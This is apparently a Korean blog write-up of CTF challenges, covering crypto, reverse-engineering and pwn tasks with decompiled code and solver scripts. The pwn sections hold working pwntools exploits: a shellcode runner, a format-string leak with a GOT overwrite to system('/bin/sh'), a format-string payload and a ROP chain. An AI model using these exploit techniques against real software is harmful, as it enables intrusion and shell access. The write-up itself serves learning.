여긴 포너블 맛집 아님..
[solved]
[crypto] Flag Expedition
상형문자 같은 느낌인데 사진으로 검색하니까 navy signal flags라고 하는 것 같다.
[pwn] blank_shell
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsi
v3 = mmap(0LL, 0x1000uLL, 7, 0x22, 0xFFFFFFFF, 0LL);
read(0, v3, 0x64uLL);
((void (__fastcall *)(_QWORD))v3)(0LL);
return 0;
}
그냥 쉘코드 받아와서 실행시킨다.
shellcraft 사용해주면 된다.
from pwn import *
context.arch = 'amd64'
# p = process('./chall')
p = remote('13.127.242.3', 30513)
sc = shellcraft.sh()
p.send(asm(sc))
p.interactive()
[pwn] Sim
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-1Ch] BYREF
int v5; // [esp+10h] [ebp-18h]
char s[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v7; // [esp+1Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
v5 = 0;
initialize();
printf("ARMOUR: enabled! Try to break in ;)");
gets(s);
while ( v5 != 3 )
{
puts("Welcome to The Reactor (current status: MELTDOWN)");
printmenu(); // 1. add 2. show 3. break armour
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
add();
}
else if ( v4 == 2 )
{
show();
}
else
{
if ( v4 != 3 )
exit(0);
printf(s);
}
++v5;
}
return 0;
}
unsigned int add()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Enter the index :");
__isoc99_scanf("%d", &v1);
puts("Enter the data :");
read(0, (void *)(0x10 * v1 + 0x804A080), 4u);
return __readgsdword(0x14u) ^ v2;
}
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Enter the index :");
__isoc99_scanf("%d", &v1);
puts((const char *)(0x10 * v1 + 0x804A080));
return __readgsdword(0x14u) ^ v2;
}
2번 메뉴로 libc leak하고
1번 메뉴로 got overwrite하고
s에 /bin/sh 넣고 3번 메뉴 실행하면 된다.
from pwn import *
context.log_level = 'debug'
# p = process('./sim')
p = remote('13.127.242.3', 32460)
libc = ELF('./libc.so.6')
p.sendlineafter(b'in ;)',b'/bin/sh')
p.sendlineafter(b'armour',b'2')
p.sendlineafter(b'index :',b'-2')
p.recvline()
libc_base = u32(p.recvn(4))-0x1d55c0
print(hex(libc_base))
printf = libc_base + libc.sym['printf']
system = libc_base + libc.sym['system']
p.sendlineafter(b'armour',b'1')
p.sendlineafter(b'index :',b'-7')
p.send(p32(system))
p.sendlineafter(b'armour',b'3')
p.interactive()
[pwn] Looking_Mirror
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__gid_t rgid; // [rsp+1Ch] [rbp-A4h]
FILE *stream; // [rsp+28h] [rbp-98h]
char format[64]; // [rsp+30h] [rbp-90h] BYREF
char s[72]; // [rsp+70h] [rbp-50h] BYREF
unsigned __int64 v7; // [rsp+B8h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts("Ask the looking mirror for the secret to a masterful conquest!");
puts("==============================================");
puts("Hi, you are face to face with the immortal mirror now!");
puts("Delve into its eternal wisdom and get the much gaurded secret.");
puts(
"Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will echo your queries back to you.");
puts("\n");
stream = fopen("secret.txt", "r");
if ( stream )
{
fgets(s, 0x40, stream);
fclose(stream);
}
else
{
puts("Warning: secret.txt not found! The secret is not available for you.");
}
while ( 1 )
{
printf("\n> ");
fgets(format, 0x40, stdin);
printf("Looking Mirror: ");
printf(format); // '%p.'*9 + '%s'
}
}
fsb 취약점이 존재한다.
스택 상에 플래그를 저장하기 때문에 몇 번째인지만 알면 플래그를 바로 딸 수 있다.
디버깅 해보니 10번째였다.
따라서 다음과 같이 전달하면 플래그가 나온다.
'%p.%p.%p.%p.%p.%p.%p.%p.%p.%s'
[pwn] Binary_Heist
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.");
vault();
puts("Agency: ABORT! Operation Binary Heist - Mission failed.");
return 0;
}
int vault()
{
puts("System: Enter your name for log: ");
return input();
}
int input()
{
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
__isoc99_scanf("%s", v1);
return puts("System: Log entry successful! You will be granted access on entering the correct passcodes.");
}
input 함수에 뻔한 bof 취약점이 있다.
win 함수 역할을 하는 infiltrate 함수가 있다.
int __fastcall infiltrate(__int64 a1, __int64 a2)
{
char command[14]; // [rsp+12h] [rbp-Eh] BYREF
strcpy(command, "cat vault.txt");
if ( a1 != 0x1337C0D31337C0D3LL || a2 != 0xACEDC0DEACEDC0DELL )
return puts("WARNING: Intruder!!!. Authorities have been warned.");
puts("System: Operation Binary Heist - Top-Secret Flag:");
return system(command);
}
rop로 인자 세팅 후 infiltrate를 호출하면 된다.
from pwn import *
# p = process('./binary_heist')
p = remote('65.0.128.220', 31373)
win = 0x401243
pop_rdi_rsi = 0x0000000000401207
pay = b'a'*0x18
pay += p64(pop_rdi_rsi) + p64(0x1337C0D31337C0D3) + p64(0xACEDC0DEACEDC0DE)
pay += p64(win)
p.sendlineafter(b'log: ',pay)
p.interactive()
[rev] Warmup_rev
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
size_t v4; // rax
_DWORD v6[4]; // [rsp+0h] [rbp-70h] BYREF
__int64 v7; // [rsp+10h] [rbp-60h]
char *s; // [rsp+18h] [rbp-58h]
char s2[56]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v10; // [rsp+58h] [rbp-18h]
v10 = __readfsqword(0x28u);
v6[3] = 0x64;
v7 = 0x63LL;
v3 = alloca(0x70LL);
s = (char *)v6;
printf("Enter the flag: ");
fgets(s, 0x64, stdin);
v4 = strcspn(s, "\n");
s[v4] = 0;
reverseString(s);
strcpy(s2, "}!d33dn1_3gn3ll4hc_pUmr4w_4_51_s1ht{ftcitkahs");
if ( !strcmp(s, s2) )
puts("\nYou got it!!");
else
puts("Oops, that's not the correct flag");
return 0;
}
__int64 __fastcall reverseString(const char *input)
{
__int64 result; // rax
char v2; // [rsp+13h] [rbp-Dh]
unsigned int index; // [rsp+14h] [rbp-Ch]
int rev_index; // [rsp+18h] [rbp-8h]
index = 0;
for ( rev_index = strlen(input) - 1; ; --rev_index )
{
result = index;
if ( (int)index >= rev_index )
break;
v2 = input[index];
input[index] = input[rev_index];
input[rev_index] = v2;
++index;
}
return result;
}
reverseString 함수를 역연산 해주면 된다.
flag = '}!d33dn1_3gn3ll4hc_pUmr4w_4_51_s1ht{ftcitkahs'
flag_list = []
for f in flag:
flag_list.append(f)
index = 0
for rev_index in range(len(flag_list)-1,0,-1):
if index >= rev_index :
break
v2 = flag_list[index]
flag_list[index] = flag_list[rev_index]
flag_list[rev_index] = v2
index += 1
print(''.join(flag_list))
[rev] Cyber_Kingdom
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-164h]
int j; // [rsp+10h] [rbp-160h]
int v6; // [rsp+14h] [rbp-15Ch]
int k; // [rsp+18h] [rbp-158h]
int v8[36]; // [rsp+20h] [rbp-150h]
int v9[36]; // [rsp+B0h] [rbp-C0h]
char s[40]; // [rsp+140h] [rbp-30h] BYREF
unsigned __int64 v11; // [rsp+168h] [rbp-8h]
v11 = __readfsqword(0x28u);
srand(0x7Bu);
for ( i = 0; i <= 0x22; ++i )
v8[i] = rand() & 0xF;
puts("\n\t||| Welcome to my Cyber Kingdom |||");
puts("||| I have a quick task for you if you don't mind |||");
puts("|| Find the correct flag for me and prove yourself! ||\n");
printf("Please enter the flag: ");
fgets(s, 0x24, _bss_start);
for ( j = 0; j <= 0x22; ++j )
s[j] ^= LOBYTE(v8[j]);
v9[0] = 0x72;
v9[1] = 0x6D;
v9[2] = 0x60;
v9[3] = 0x65;
v9[4] = 0x73;
v9[5] = 0x62;
v9[6] = 0x68;
v9[7] = 0x7A;
v9[8] = 0x6C;
v9[9] = 0x7A;
v9[0xA] = 0x77;
v9[0xB] = 0x64;
v9[0xC] = 0x31;
v9[0xD] = 0x54;
v9[0xE] = 0x77;
v9[0xF] = 0x31;
v9[0x10] = 0x6C;
v9[0x11] = 0x63;
v9[0x12] = 0x59;
v9[0x13] = 0x67;
v9[0x14] = 0x62;
v9[0x15] = 0x31;
v9[0x16] = 0x6C;
v9[0x17] = 0x58;
v9[0x18] = 0x31;
v9[0x19] = 0x7D;
v9[0x1A] = 0x53;
v9[0x1B] = 0x7E;
v9[0x1C] = 0x3B;
v9[0x1D] = 0x62;
v9[0x1E] = 0x69;
v9[0x1F] = 0x30;
v9[0x20] = 0x6C;
v9[0x21] = 0x31;
v9[0x22] = 0x72;
v6 = 0;
for ( k = 0; k <= 0x22; ++k )
{
if ( v9[k] == s[k] )
++v6;
}
if ( v6 == 0x23 )
puts("\nYou got it!!");
else
puts("\nNope, that's not the right path");
return 0;
}
그냥 역연산 해주면 된다
from ctypes import *
c = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')
c.srand(0x7B)
v8 = [0 for _ in range(0x23)]
for i in range(0x23):
v8[i] = c.rand() & 0xF
v9 = [0 for _ in range(0x23)]
v9[0] = 0x72
v9[1] = 0x6D
v9[2] = 0x60
v9[3] = 0x65
v9[4] = 0x73
v9[5] = 0x62
v9[6] = 0x68
v9[7] = 0x7A
v9[8] = 0x6C
v9[9] = 0x7A
v9[0xA] = 0x77
v9[0xB] = 0x64
v9[0xC] = 0x31
v9[0xD] = 0x54
v9[0xE] = 0x77
v9[0xF] = 0x31
v9[0x10] = 0x6C
v9[0x11] = 0x63
v9[0x12] = 0x59
v9[0x13] = 0x67
v9[0x14] = 0x62
v9[0x15] = 0x31
v9[0x16] = 0x6C
v9[0x17] = 0x58
v9[0x18] = 0x31
v9[0x19] = 0x7D
v9[0x1A] = 0x53
v9[0x1B] = 0x7E
v9[0x1C] = 0x3B
v9[0x1D] = 0x62
v9[0x1E] = 0x69
v9[0x1F] = 0x30
v9[0x20] = 0x6C
v9[0x21] = 0x31
v9[0x22] = 0x72
for j in range(0x23):
v9[j] ^= v8[j]
print(chr(v9[j]),end='')
[rev] Operation Ultra
import base64
def func_1(unk_str0, unk_str):
flag_len = len(unk_str0)
unk_str_len = len(unk_str)
unk_str1 = bytearray(unk_str0, 'utf-8')
for i in range(flag_len):
unk_str1[i] = unk_str1[i] ^ ord(unk_str[i % unk_str_len])
return unk_str1.decode('utf-8')
def func_2(unk_str0):
flag_len = len(unk_str0)
unk_str3 = [''] * flag_len
j = 0
for i in range(0, flag_len , 4):
unk_str3[j] = unk_str0[i]
unk_str3[j + 1] = unk_str0[i + 1]
j += 2
for i in range(2, flag_len, 4):
unk_str3[j] = unk_str0[i]
unk_str3[j + 1] = unk_str0[i + 1]
j += 2
return ''.join(unk_str3)
def main():
unk_str = "U2hhZG93MjAyNA=="
unk_str = base64.b64decode(unk_str.encode('ascii')).decode('ascii')
unk_str0 = input("Enter the input: ")
unk_str1 = func_1(unk_str0, unk_str)
unk_str2 = func_2(unk_str1)
unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0, 15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21]
for i in range(len(unk_str0)):
if unk_arr0[i] != ord(unk_str2[i]):
exit(0)
print("\nCorrect Flag!\n")
if __name__ == "__main__":
main()
func_2, func_1 순으로 역연산을 수행해주면 된다.
func_2는 위치를 옮기는 작업이고, func_1는 xor 작업을 수행한다.
unk_str = "U2hhZG93MjAyNA=="
unk_str = base64.b64decode(unk_str.encode('ascii')).decode('ascii')
unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0, 15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21]
flag_len = len(unk_arr0)
unk_str3 = [''] * flag_len
j = 0
for i in range(0, flag_len , 4):
unk_str3[i] = unk_arr0[j]
unk_str3[i + 1] = unk_arr0[j + 1]
j += 2
for i in range(2, flag_len, 4):
unk_str3[i] = unk_arr0[j]
unk_str3[i + 1] = unk_arr0[j + 1]
j += 2
for i in range(len(unk_str3)):
unk_str3[i] = unk_str3[i] ^ ord(unk_str[i % len(unk_str)])
print(chr(unk_str3[i]),end='')
[unsolved]
[crypto] eH lvl1
from Crypto.Util.number import*
from gmpy2 import *
from secret import e,b,hint,msg,d
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(msg)
h = bytes([i^b for i in hint])
print(f"h = {hex(bytes_to_long(h))}")
ct = pow(m,e,n)
de = pow(ct,d,n)
assert(m == de)
print("ct = ",ct)
print("p = ",p)
print("q = ",q)
h = 0x6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112
ct = 90411409551177819360717236462351545237822367597930505531741437834918499125195272674859389978951589180632146502190429979348445123366914000167832349866368754227474060832624537550600921894849466284315037863094795265822884392628050584343158613338754532642964368052098136565157343201877382609610774291396944124354
p = 10425866553433272288676977376976736493869099145622614885498170561565122111495807572631609087909399078701783905493563029715011322065331636751277834978526061
q = 9215753518399683669080201592666232851634627861957009698720674021492716071355990364002777325458055207969176695525292834842774295594232711456066623178861093
영어 해석 못해서 문제 못 푼건 처음이네 ㅋㅋ..
(e + 0x3b 해줬어야 하는데..)
from Crypto.Util.number import*
from gmpy2 import *
h = 0x6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112
ct = 90411409551177819360717236462351545237822367597930505531741437834918499125195272674859389978951589180632146502190429979348445123366914000167832349866368754227474060832624537550600921894849466284315037863094795265822884392628050584343158613338754532642964368052098136565157343201877382609610774291396944124354
p = 10425866553433272288676977376976736493869099145622614885498170561565122111495807572631609087909399078701783905493563029715011322065331636751277834978526061
q = 9215753518399683669080201592666232851634627861957009698720674021492716071355990364002777325458055207969176695525292834842774295594232711456066623178861093
n = p*q
phi = (p-1)*(q-1)
e = 79400 + 0x3b
d = pow(e,-1,phi)
de = pow(ct,d,n)
print(long_to_bytes(de))
# hint = long_to_bytes(h)
# for b in range(0x100):
# h = bytes([i^b for i in hint])
# print(hex(b),h)
# 0x3b The e = 79400+(the single byte that was xored) :)
[web] Delicious
아니 나 이거 쿠키 {"admin" : 1}로 바꿨는데 왜 안 풀렸지..
'CTF' 카테고리의 다른 글
ACSC 2024 Quals (0) | 2024.04.01 |
---|---|
Pearl CTF (0) | 2024.03.11 |
osu!gaming CTF 2024 (0) | 2024.03.04 |
TetCTF 2024 (0) | 2024.01.29 |
vsCTF 2023 (0) | 2023.09.25 |